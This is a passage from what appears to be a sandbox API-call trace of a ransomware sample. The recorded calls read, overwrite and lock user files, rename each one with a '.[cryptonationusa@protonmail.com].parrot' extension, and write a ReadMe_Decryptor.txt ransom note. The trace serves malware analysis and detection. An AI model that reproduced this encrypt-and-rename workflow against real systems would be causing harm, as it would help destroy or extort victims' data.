RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0034.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0034.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0034.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0034.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0034.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0034.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0034.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x649228 [0034.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0034.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x64c1c0 [0034.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x650910 [0034.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64c1c0 | out: hHeap=0x5b0000) returned 1 [0034.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x6573f0 [0034.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x650910 | out: hHeap=0x5b0000) returned 1 [0034.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x685328 [0034.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6573f0 | out: hHeap=0x5b0000) returned 1 [0034.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x649228 [0034.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685328 | out: hHeap=0x5b0000) returned 1 [0034.459] WriteFile (in: hFile=0x264, lpBuffer=0x649240*, nNumberOfBytesToWrite=0x125b8, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x649240*, lpNumberOfBytesWritten=0x18f4b4*=0x125b8, lpOverlapped=0x0) returned 1 [0034.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.459] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x125b7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0034.459] CloseHandle (hObject=0x264) returned 1 [0034.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x606b58 [0034.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x5d18e8 [0034.460] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.460] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\OVpia1PfwQxJi0A8_9.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\ovpia1pfwqxji0a8_9.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\OVpia1PfwQxJi0A8_9.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\ovpia1pfwqxji0a8_9.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0034.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6652e8 | out: hHeap=0x5b0000) returned 1 [0034.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0034.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x606b58 [0034.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0034.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.462] GetFileType (hFile=0x264) returned 0x1 [0034.462] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0034.471] lstrcmpW (lpString1="QDvKu.ods", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\QDvKu.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\qdvku.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.472] GetFileSize (in: hFile=0x264, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x3af0 [0034.472] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c08, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.472] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.472] ReadFile (in: hFile=0x264, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0034.472] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.473] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3af0, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x3af0, lpOverlapped=0x0) returned 1 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0034.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0034.473] GetLastError () returned 0x0 [0034.473] SetLastError (dwErrCode=0x0) [0034.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.473] GetLastError () returned 0x0 [0034.473] SetLastError (dwErrCode=0x0) [0034.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.473] GetLastError () returned 0x0 [0034.473] SetLastError (dwErrCode=0x0) [0034.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0034.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x649228 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.474] GetLastError () returned 0x0 [0034.474] SetLastError (dwErrCode=0x0) [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x606b58 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d1760 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.474] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0034.474] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x606b58 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d18e8 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cc638 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60c798 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc638 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6105c0 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x64d268 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0034.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x650200 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64d268 | out: hHeap=0x5b0000) returned 1 [0034.475] WriteFile (in: hFile=0x264, lpBuffer=0x650220*, nNumberOfBytesToWrite=0x3c18, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x650220*, lpNumberOfBytesWritten=0x18f4b4*=0x3c18, lpOverlapped=0x0) returned 1 [0034.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x650200 | out: hHeap=0x5b0000) returned 1 [0034.475] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0034.476] CloseHandle (hObject=0x264) returned 1 [0034.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x606b58 [0034.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d18e8 [0034.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.476] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\QDvKu.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\qdvku.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\QDvKu.ods.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\qdvku.ods.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0034.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0034.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x606b58 [0034.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0034.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.557] GetFileType (hFile=0x264) returned 0x1 [0034.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0034.566] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0034.567] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2427b00, ftCreationTime.dwHighDateTime=0x1d5b7e3, ftLastAccessTime.dwLowDateTime=0xa585f2a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa585f2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.567] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f54dc0, ftCreationTime.dwHighDateTime=0x1d5bd08, ftLastAccessTime.dwLowDateTime=0xb5328940, ftLastAccessTime.dwHighDateTime=0x1d5bcdd, ftLastWriteTime.dwLowDateTime=0xa553f5c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x103e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="aCImre1nCBH18cI.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACIMRE~1.PAR")) returned 1 [0034.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x606b58 [0034.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.567] lstrcmpW (lpString1="aCImre1nCBH18cI.png.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x606b58 [0034.567] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd08f90, ftCreationTime.dwHighDateTime=0x1d5b79c, ftLastAccessTime.dwLowDateTime=0xe6091e70, ftLastAccessTime.dwHighDateTime=0x1d5bde7, ftLastWriteTime.dwLowDateTime=0xa5565720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x15608, dwReserved0=0x0, dwReserved1=0x0, cFileName="gRYMF77-6Syq0.csv.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="GRYMF7~1.PAR")) returned 1 [0034.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc638 [0034.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc638 | out: hHeap=0x5b0000) returned 1 [0034.567] lstrcmpW (lpString1="gRYMF77-6Syq0.csv.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5cc638 [0034.567] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c1a3e0, ftCreationTime.dwHighDateTime=0x1d5c4a3, ftLastAccessTime.dwLowDateTime=0x33f0e6c0, ftLastAccessTime.dwHighDateTime=0x1d5b85e, ftLastWriteTime.dwLowDateTime=0xa55fdca0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xf2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="M5SG0Hv.bmp.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="M5SG0H~1.PAR")) returned 1 [0034.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.567] lstrcmpW (lpString1="M5SG0Hv.bmp.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x60cdc0 [0034.567] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dcbbef0, ftCreationTime.dwHighDateTime=0x1d5c2eb, ftLastAccessTime.dwLowDateTime=0xd45fa2c0, ftLastAccessTime.dwHighDateTime=0x1d5ba13, ftLastWriteTime.dwLowDateTime=0xa572e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x108d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MKT08guE_.mp3.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MKT08G~1.PAR")) returned 1 [0034.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.567] lstrcmpW (lpString1="MKT08guE_.mp3.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x60cea8 [0034.567] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4bcc60, ftCreationTime.dwHighDateTime=0x1d5c3ce, ftLastAccessTime.dwLowDateTime=0x555b0dd0, ftLastAccessTime.dwHighDateTime=0x1d5b62a, ftLastWriteTime.dwLowDateTime=0xa5754900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x125b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OVpia1PfwQxJi0A8_9.avi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OVPIA1~1.PAR")) returned 1 [0034.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5d1760 [0034.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.567] lstrcmpW (lpString1="OVpia1PfwQxJi0A8_9.avi.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d1760 [0034.567] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76b765b0, ftCreationTime.dwHighDateTime=0x1d5c56f, ftLastAccessTime.dwLowDateTime=0x38135080, ftLastAccessTime.dwHighDateTime=0x1d5c344, ftLastWriteTime.dwLowDateTime=0xa577aa60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="QDvKu.ods.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="QDVKUO~1.PAR")) returned 1 [0034.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 